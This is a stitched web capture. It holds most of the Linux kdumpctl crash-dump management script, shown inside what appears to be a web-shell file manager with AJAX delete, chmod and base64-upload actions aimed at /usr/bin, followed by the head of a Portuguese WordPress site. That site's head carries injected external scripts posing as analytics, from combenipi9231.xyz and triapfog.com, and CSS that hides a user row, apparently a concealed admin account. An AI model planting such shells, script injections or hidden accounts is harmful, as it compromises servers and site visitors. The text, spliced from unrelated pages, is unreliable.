		ddebug &quot;kernel $_release doesn&#039;t exist&quot;
		return 1
	fi
	echo -n &quot;$_kernel_path&quot;
}

_get_current_running_kernel_path()
{
	local _release _path

	_release=$(uname -r)
	if _path=$(_find_kernel_path_by_release &quot;$_release&quot;); then
		echo -n &quot;$_path&quot;
	else
		return 1
	fi
}

_update_kernel_cmdline()
{
	local _kernel_path=$1 _crashkernel=$2 _dump_mode=$3 _fadump_val=$4

	if is_ostree; then
		if rpm-ostree kargs | grep -q &quot;crashkernel=&quot;; then
			rpm-ostree kargs --replace=&quot;crashkernel=$_crashkernel&quot;
		else
			rpm-ostree kargs --append=&quot;crashkernel=$_crashkernel&quot;
		fi
	else
		grubby --args &quot;crashkernel=$_crashkernel&quot; --update-kernel &quot;$_kernel_path&quot;
		if [[ $_dump_mode == kdump ]]; then
			grubby --remove-args=&quot;fadump&quot; --update-kernel &quot;$_kernel_path&quot;
		else
			grubby --args=&quot;fadump=$_fadump_val&quot; --update-kernel &quot;$_kernel_path&quot;
		fi
	fi
	[[ -f /etc/zipl.conf ]] &amp;&amp; zipl &gt; /dev/null
}

_valid_grubby_kernel_path()
{
	[[ -n &quot;$1&quot; ]] &amp;&amp; grubby --info=&quot;$1&quot; &gt; /dev/null 2&gt;&amp;1
}

# return all the kernel paths given a grubby kernel-path
#
# $1: kernel path accepted by grubby, e.g. DEFAULT, ALL,
#     /boot/vmlinuz-`uname -r`
# return: kernel paths separated by space
_get_all_kernels_from_grubby()
{
	local _kernels _line _kernel_path _grubby_kernel_path=$1

	for _line in $(grubby --info &quot;$_grubby_kernel_path&quot; | grep &quot;^kernel=&quot;); do
		_kernel_path=$(_filter_grubby_kernel_str &quot;$_line&quot;)
		_kernels=&quot;$_kernels $_kernel_path&quot;
	done
	echo -n &quot;$_kernels&quot;
}

GRUB_ETC_DEFAULT=&quot;/etc/default/grub&quot;
# Update a kernel parameter in default grub conf
#
# If a value is specified, it will be inserted in the end. Otherwise it
# would remove given kernel parameter.
#
# Note this function doesn&#039;t address the following cases,
# 1. The kernel ignores everything on the command line after a &#039;--&#039;. So
#    simply adding the new entry to the end will fail if the cmdline
#    contains a --.
# 2. If the value for a parameter contains spaces it can be quoted using
#    double quotes, for example param=&quot;value with spaces&quot;. This will
#    break the [^[:space:]\&quot;] regex for the value.
# 3. Dashes and underscores in the parameter name are equivalent. So
#    some_parameter and some-parameter are identical.
# 4. Some parameters, e.g. efivar_ssdt, can be given multiple times.
# 5. Some kernel parameters, e.g. quiet, doesn&#039;t have value
#
# $1: the name of the kernel command line parameter
# $2: new value. If empty, given parameter would be removed
_update_kernel_arg_in_grub_etc_default()
{
	local _para=$1 _val=$2 _para_val

	if [[ $(uname -m) == s390x ]]; then
		return
	fi

	if [[ -n $_val ]]; then
		_para_val=&quot;$_para=$_val&quot;
	fi

	# Update the command line /etc/default/grub, i.e.
	# on the line that starts with &#039;GRUB_CMDLINE_LINUX=&#039;,
	#       1) remove $para=$val if the it&#039;s the first arg
	#       2) remove all occurences of $para=$val
	#       3) insert $_para_val to end
	#       4) remove duplicate spaces left over by 1) or 2) or 3)
	#       5) remove space at the beginning of the string left over by 1) or 2) or 3)
	#       6) remove space at the end of the string left over by 1) or 2) or 3)
	sed -i -E &quot;/^GRUB_CMDLINE_LINUX=/ {
         s/\&quot;${_para}=[^[:space:]\&quot;]*/\&quot;/g;
         s/[[:space:]]+${_para}=[^[:space:]\&quot;]*/ /g;
         s/\&quot;$/ ${_para_val}\&quot;/
         s/[[:space:]]+/ /g;
         s/(\&quot;)[[:space:]]+/\1/g;
         s/[[:space:]]+(\&quot;)/\1/g;
         }&quot; &quot;$GRUB_ETC_DEFAULT&quot;
}

# Read the kernel arg in default grub conf.

# Note reading a kernel parameter that doesn&#039;t have a value isn&#039;t supported.
#
# $1: the name of the kernel command line parameter
_read_kernel_arg_in_grub_etc_default()
{
	sed -n -E &quot;s/^GRUB_CMDLINE_LINUX=.*[[:space:]\&quot;]${1}=([^[:space:]\&quot;]*).*$/\1/p&quot; &quot;$GRUB_ETC_DEFAULT&quot;
}

reset_crashkernel()
{
	local _opt _val _dump_mode _fadump_val _reboot _grubby_kernel_path _kernel _kernels
	local _old_crashkernel _new_crashkernel _new_dump_mode _crashkernel_changed
	local _new_fadump_val _old_fadump_val _what_is_updated

	for _opt in &quot;$@&quot;; do
		case &quot;$_opt&quot; in
			--fadump=*)
				_val=${_opt#*=}
				if _dump_mode=$(get_dump_mode_by_fadump_val $_val); then
					_fadump_val=$_val
				else
					derror &quot;failed to determine dump mode&quot;
					exit
				fi
				;;
			--kernel=*)
				_val=${_opt#*=}
				if ! _valid_grubby_kernel_path $_val; then
					derror &quot;Invalid $_opt, please specify a valid kernel path, ALL or DEFAULT&quot;
					exit
				fi
				_grubby_kernel_path=$_val
				;;
			--reboot)
				# --reboot option was deprecated with
				# kdump-utils v1.0.45. Keep the code for now to
				# not break any user setup.
				dwarn &quot;Option --reboot is deprecated and will be removed in RHEL11.&quot;
				_reboot=yes
				;;
			*)
				derror &quot;$_opt not recognized&quot;
				exit 1
				;;
		esac
	done

	# 1. OSTree systems use &quot;rpm-ostree kargs&quot; instead of grubby to manage kernel command
	#    line. --kernel=ALL doesn&#039;t make sense for OStree.
	# 2. We don&#039;t have any OSTree POWER systems so the dump mode is always kdump.
	# 3. &quot;rpm-ostree kargs&quot; would prompt the user to reboot the system after
	#    modifying the kernel command line so there is no need for kexec-tools
	#    to repeat it.
	if is_ostree; then
		_old_crashkernel=$(rpm-ostree kargs | sed -n -E &#039;s/.*(^|\s)crashkernel=(\S*).*/\2/p&#039;)
		_new_dump_mode=kdump
		_new_crashkernel=$(kdump_get_arch_recommend_crashkernel &quot;$_new_dump_mode&quot;)
		if [[ $_old_crashkernel != &quot;$_new_crashkernel&quot; ]]; then
			_update_kernel_cmdline &quot;&quot; &quot;$_new_crashkernel&quot; &quot;$_new_dump_mode&quot; &quot;&quot;
			if [[ $_reboot == yes ]]; then
				systemctl reboot
			fi
		fi
		return
	fi

	# For non-ppc64le systems, the dump mode is always kdump since only ppc64le
	# has FADump.
	if [[ -z $_dump_mode &amp;&amp; $(uname -m) != ppc64le ]]; then
		_dump_mode=kdump
		_fadump_val=off
	fi

	# If the dump mode is determined, we can also know the default crashkernel value
	if [[ -n $_dump_mode ]]; then
		_crashkernel=$(kdump_get_arch_recommend_crashkernel &quot;$_dump_mode&quot;)
	fi

	# If --kernel-path=ALL, update GRUB_CMDLINE_LINUX in /etc/default/grub.
	#
	# An exception case is when the ppc64le user doesn&#039;t specify the fadump value.
	# In this case, the dump mode would be determined by parsing the kernel
	# command line of the kernel(s) to be updated thus don&#039;t update GRUB_CMDLINE_LINUX.
	#
	# The following code has been simplified because of what has been done early,
	#   - set the dump mode as kdump for non-ppc64le cases
	#   - retrieved the default crashkernel value for given dump mode
	if [[ $_grubby_kernel_path == ALL &amp;&amp; -n $_dump_mode ]]; then
		_update_kernel_arg_in_grub_etc_default crashkernel &quot;$_crashkernel&quot;
		# remove the fadump if fadump is disabled
		if [[ $_fadump_val == off ]]; then
			_fadump_val=&quot;&quot;
		fi
		_update_kernel_arg_in_grub_etc_default fadump &quot;$_fadump_val&quot;
	fi

	# If kernel-path not specified, either
	#  - use KDUMP_KERNELVER if it&#039;s defined
	#  - use current running kernel
	if [[ -z $_grubby_kernel_path ]]; then
		if [[ -z $KDUMP_KERNELVER ]] ||
			! _kernel_path=$(_find_kernel_path_by_release &quot;$KDUMP_KERNELVER&quot;); then
					if ! _kernel_path=$(_get_current_running_kernel_path); then
						derror &quot;no running kernel found&quot;
						exit 1
					fi
		fi
		_kernels=$_kernel_path
	else
		_kernels=$(_get_all_kernels_from_grubby &quot;$_grubby_kernel_path&quot;)
	fi

	for _kernel in $_kernels; do
		if [[ -z $_dump_mode ]]; then
			_new_dump_mode=$(get_dump_mode_by_kernel &quot;$_kernel&quot;)
			_new_crashkernel=$(kdump_get_arch_recommend_crashkernel &quot;$_new_dump_mode&quot;)
			_new_fadump_val=$(get_grub_kernel_boot_parameter &quot;$_kernel&quot; fadump)
		else
			_new_dump_mode=$_dump_mode
			_new_crashkernel=$_crashkernel
			_new_fadump_val=$_fadump_val
		fi

		_old_crashkernel=$(get_grub_kernel_boot_parameter &quot;$_kernel&quot; crashkernel)
		_old_fadump_val=$(get_grub_kernel_boot_parameter &quot;$_kernel&quot; fadump)
		[[ &quot;$_new_fadump_val&quot; == off ]] &amp;&amp; _new_fadump_val=&quot;&quot;
		if [[ $_old_crashkernel != &quot;$_new_crashkernel&quot; || $_old_fadump_val != &quot;$_new_fadump_val&quot; ]]; then
			_update_kernel_cmdline &quot;$_kernel&quot; &quot;$_new_crashkernel&quot; &quot;$_new_dump_mode&quot; &quot;$_new_fadump_val&quot;
			if [[ $_reboot != yes ]]; then
				if [[ $_old_crashkernel != &quot;$_new_crashkernel&quot; ]]; then
					_what_is_updated=&quot;Updated crashkernel=$_new_crashkernel&quot;
				else
					# This case happens only when switching between fadump=on and fadump=nocma
					_what_is_updated=&quot;Updated fadump=$_new_fadump_val&quot;
				fi
				dwarn &quot;$_what_is_updated for kernel=$_kernel. Please reboot the system for the change to take effect.&quot;
			fi
			_crashkernel_changed=yes
		fi
	done

	if [[ $_reboot == yes &amp;&amp; $_crashkernel_changed == yes ]]; then
		reboot
	fi
}

_is_bootloader_installed()
{
	if [[ $(uname -m) == s390x ]]; then
		test -f /etc/zipl.conf
	else
		test -f /boot/grub2/grub.cfg
	fi
}

_update_crashkernel()
{
	local _kernel _kver _dump_mode _old_default_crashkernel _new_default_crashkernel _fadump_val _msg

	_kernel=$1
	_dump_mode=$(get_dump_mode_by_kernel &quot;$_kernel&quot;)
	_old_default_crashkernel=$(get_grub_kernel_boot_parameter &quot;$_kernel&quot; crashkernel)
	_kver=$(parse_kver_from_path &quot;$_kernel&quot;)
	# The second argument is for the case of aarch64, where installing a 64k variant on a 4k kernel, or vice versa
	_new_default_crashkernel=$(kdump_get_arch_recommend_crashkernel &quot;$_dump_mode&quot; &quot;$_kver&quot;)
	if [[ $_old_default_crashkernel != &quot;$_new_default_crashkernel&quot; ]]; then
		_fadump_val=$(get_grub_kernel_boot_parameter &quot;$_kernel&quot; fadump)
		if _update_kernel_cmdline &quot;$_kernel&quot; &quot;$_new_default_crashkernel&quot; &quot;$_dump_mode&quot; &quot;$_fadump_val&quot;; then
			_msg=&quot;For kernel=$_kernel, crashkernel=$_new_default_crashkernel now. Please reboot the system for the change to take effet.&quot;
			_msg+=&quot; Note if you don&#039;t want kexec-tools to manage the crashkernel kernel parameter, please set auto_reset_crashkernel=no in /etc/kdump.conf.&quot;
			dinfo &quot;$_msg&quot;
		fi
	fi
}


# shellcheck disable=SC2154 # false positive when dereferencing an array
reset_crashkernel_after_update()
{
	local _kernel

	if ! _is_bootloader_installed; then
		return
	fi

	for _kernel in $(_get_all_kernels_from_grubby ALL); do
		_update_crashkernel &quot;$_kernel&quot;
	done
}

# read the value of an environ variable from given environ file path
#
# The environment variable entries in /proc/[pid]/environ are separated
# by null bytes instead of by spaces.
#
# $1: environment variable
# $2: environ file path
read_proc_environ_var()
{
	local _var=$1 _environ_path=$2
	sed -n -E &quot;s/.*(^|\x00)${_var}=([^\x00]*).*/\2/p&quot; &lt; &quot;$_environ_path&quot;
}

_OSBUILD_ENVIRON_PATH=&#039;/proc/1/environ&#039;
_is_osbuild()
{
	[[ $(read_proc_environ_var container &quot;$_OSBUILD_ENVIRON_PATH&quot;) == bwrap-osbuild ]]
}

reset_crashkernel_for_installed_kernel()
{
	local _installed_kernel

	# During package install, only try to reset crashkernel for osbuild
	# thus to avoid calling grubby when installing os via anaconda
	if ! _is_bootloader_installed &amp;&amp; ! _is_osbuild; then
		return
	fi

	if ! _installed_kernel=$(_find_kernel_path_by_release &quot;$1&quot;); then
		exit 1
	fi

	if _is_osbuild; then
		if ! grep -qs crashkernel= /etc/kernel/cmdline; then
			reset_crashkernel &quot;--kernel=$_installed_kernel&quot;
		fi
		return
	fi

	_update_crashkernel &quot;$_installed_kernel&quot;
}

if [[ ! -f $KDUMP_CONFIG_FILE ]]; then
	derror &quot;Error: No kdump config file found!&quot;
	exit 1
fi

set_kdump_test_id()
{
	local _id=$1

	KDUMP_COMMANDLINE_APPEND+=&quot; $_id &quot;

	if ! reload &gt;&amp; /dev/null; then
		derror &quot;Set kdump test id fail.&quot;
		exit 1
	fi
}

# $1: success/fail/pending/manual/clear
# $2: test id
set_vmcore_creation_status()
{
	local _status=$1
	local _kdump_test_id
	_dir=$(dirname &quot;$VMCORE_CREATION_STATUS&quot;)

	[[ -d &quot;$_dir&quot; ]] || mkdir -p &quot;$_dir&quot;
	[[ -w &quot;$_dir&quot; ]] || chmod +w &quot;$_dir&quot;

	case &quot;$_status&quot; in
		pending)
			_kdump_test_id=&quot;kdump_test_id=$(date +%s-%N)&quot;
			set_kdump_test_id &quot;$_kdump_test_id&quot;
			echo  &quot;$_status $_kdump_test_id&quot; &gt; &quot;$VMCORE_CREATION_STATUS&quot;
			;;
		success | fail | manual)
			sed -E -i &quot;s/^\w+/$_status/&quot; &quot;$VMCORE_CREATION_STATUS&quot;
			;;
		clear)
			rm -f &quot;$VMCORE_CREATION_STATUS&quot;
			;;
		*)
			return
	esac
	sync -f &quot;$_dir&quot;
}

fetch_status()
{
	local _test_id=&quot;$1&quot; _mnt
	local  _status _target

	is_raw_dump_target &amp;&amp; return 2

	_status=&quot;$(get_save_path)/kdump-test-$_test_id/vmcore-creation.status&quot;

	if is_nfs_dump_target || is_fs_dump_target; then
		if is_fs_dump_target; then
			_target=$(fs_dump_target)
		else
			_target=$(kdump_get_conf_val nfs)
		fi
		_mnt=$(get_mntpoint_from_target &quot;$_target&quot;)
		if [[ -z &quot;$_mnt&quot; ]] || ! is_mounted &quot;$_mnt&quot;; then
			mkdir -p &quot;$TMPMNT&quot;
			mount &quot;$_target&quot; &quot;$TMPMNT&quot; -o defaults || \
				{ dwarn &quot;Failed to mount $_target&quot; &amp;&amp; return 2; }
			_mnt=&quot;$TMPMNT&quot;
		fi
		_status=&quot;$_mnt/$_status&quot;
	elif is_ssh_dump_target; then
		local _scp_address

		if is_ipv6_address &quot;${OPT[_target]}&quot;; then
			_scp_address=&quot;${OPT[_target]%@*}@[${OPT[_target]#*@}]&quot;
		else
			_scp_address=&quot;${OPT[_target]}&quot;
		fi

		scp -q -i &quot;${OPT[sshkey]}&quot; -o BatchMode=yes \
			&quot;$_scp_address:$_status&quot; \
			&quot;$KDUMP_TMPDIR&quot;
		case &quot;$?&quot; in
			0)
				# success
				;;
			1)
				# file not found
				return 1
				;;
			255)
				# no connection to host
				return 2
		esac
		_status=&quot;$KDUMP_TMPDIR/vmcore-creation.status&quot;
	fi
	[[ -f &quot;$_status&quot; ]] || return 1
	grep -q &quot;success&quot; &quot;$_status&quot; &amp;&amp; return 0 || return 1
}

check_vmcore_creation_status()
{
	local _status _test_id _timestamp _status_date

	[[ ${VMCORE_CREATION_NOTIFICATION,,} == &quot;yes&quot; ]] || return

	[[ &quot;$DEFAULT_DUMP_MODE&quot; == &quot;kdump&quot; ]] || return

	if [[ ! -s &quot;$VMCORE_CREATION_STATUS&quot; ]]; then
		dwarn &quot;Notice: No vmcore creation test performed!&quot;
		return
	fi

	read -r _status _test_id &lt; &quot;$VMCORE_CREATION_STATUS&quot;
	_test_id=${_test_id#*=}
	_timestamp=${_test_id%-*}
	_status_date=$(date -d &quot;@$_timestamp&quot;)

	if [[ &quot;$_status&quot; == &quot;pending&quot; ]]; then
		fetch_status &quot;$_test_id&quot;
		case &quot;$?&quot; in
		0)
			_status=&quot;success&quot;
			;;
		1)
			_status=&quot;fail&quot;
			;;
		*)
			_status=&quot;manual&quot;
			;;
		esac
		set_vmcore_creation_status &quot;$_status&quot;
	fi

	case &quot;$_status&quot; in
		success)
			dinfo &quot;Notice: Last successful vmcore creation on $_status_date&quot;
			;;
		fail)
			dwarn &quot;Notice: Last NOT successful vmcore creation on $_status_date&quot;
			;;
		manual)
			dwarn &quot;Notice: Require manual check for kdump test of $_status_date&quot;
			;;
		*)
			derror &quot;Unknown test status: $_status&quot;
			;;
	esac
}

kdump_test()
{
	if ! is_kernel_loaded &quot;$DEFAULT_DUMP_MODE&quot;; then
		derror &quot;Kdump needs be operational before test.&quot;
		exit 1
	fi

	if [[ ! &quot;$DEFAULT_DUMP_MODE&quot; == &quot;kdump&quot; ]]; then
		derror &quot;Only kdump is supported for test.&quot;
		exit 1
	fi

	if [[ ! &quot;$1&quot; == &quot;--force&quot; ]]; then
		read -r -p &quot;DANGER!!! Will perform a kdump test by crashing the system, proceed? (y/N): &quot; input
		case $input in
		[Yy] )
			dinfo &quot;Start kdump test...&quot;
			;;
		* )
			dinfo &quot;Operation cancelled.&quot;
			exit 0
			;;
		esac
	fi

	set_vmcore_creation_status &#039;pending&#039;
	echo c &gt; /proc/sysrq-trigger
}

main()
{
	# Determine if the dump mode is kdump or fadump
	determine_dump_mode

	case &quot;$1&quot; in
	start)
		if [[ -s /proc/vmcore ]]; then
			save_core
			reboot
		else
			start
		fi
		;;
	stop)
		stop
		;;
	status)
		EXIT_CODE=0
		is_kernel_loaded &quot;$DEFAULT_DUMP_MODE&quot;
		case &quot;$?&quot; in
		0)
			dinfo &quot;Kdump is operational&quot;
			EXIT_CODE=0
			;;
		1)
			dinfo &quot;Kdump is not operational&quot;
			EXIT_CODE=3
			;;
		esac
		check_vmcore_creation_status
		exit $EXIT_CODE
		;;
	reload)
		reload
		;;
	restart)
		stop
		start
		;;
	rebuild)
		rebuild
		;;
	condrestart) ;;

	propagate)
		propagate_ssh_key
		;;
	showmem)
		show_reserved_mem
		;;
	estimate)
		do_estimate
		;;
	get-default-crashkernel)
		get_default_crashkernel &quot;$2&quot;
		;;
	reset-crashkernel)
		shift
		reset_crashkernel &quot;$@&quot;
		;;
	test)
		shift
		kdump_test &quot;$@&quot;
		;;
	_reset-crashkernel-after-update)
		if [[ $(kdump_get_conf_val auto_reset_crashkernel) != no ]]; then
			reset_crashkernel_after_update
		fi
		;;
	_reset-crashkernel-for-installed_kernel)
		if [[ $(kdump_get_conf_val auto_reset_crashkernel) != no ]]; then
			reset_crashkernel_for_installed_kernel &quot;$2&quot;
		fi
		;;
	setup-crypttab)
		setup_crypttab
		;;
	*)
		dinfo $&quot;Usage: $0 {estimate|start|stop|status|restart|reload|rebuild|reset-crashkernel|propagate|showmem|test|setup-crypttab}&quot;
		exit 1
		;;
	esac
}

# Other kdumpctl instances will block in queue, until this one exits
single_instance_lock

# To avoid fd 9 leaking, we invoke a subshell, close fd 9 and call main.
# So that fd isn&#039;t leaking when main is invoking a subshell.
(
	exec 9&lt;&amp;-
	main &quot;$@&quot;
)
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//combenipi9231.xyz' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a892b0b3d1b9*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://combenipi9231.xyz/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog paged wp-embed-responsive paged-2 wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
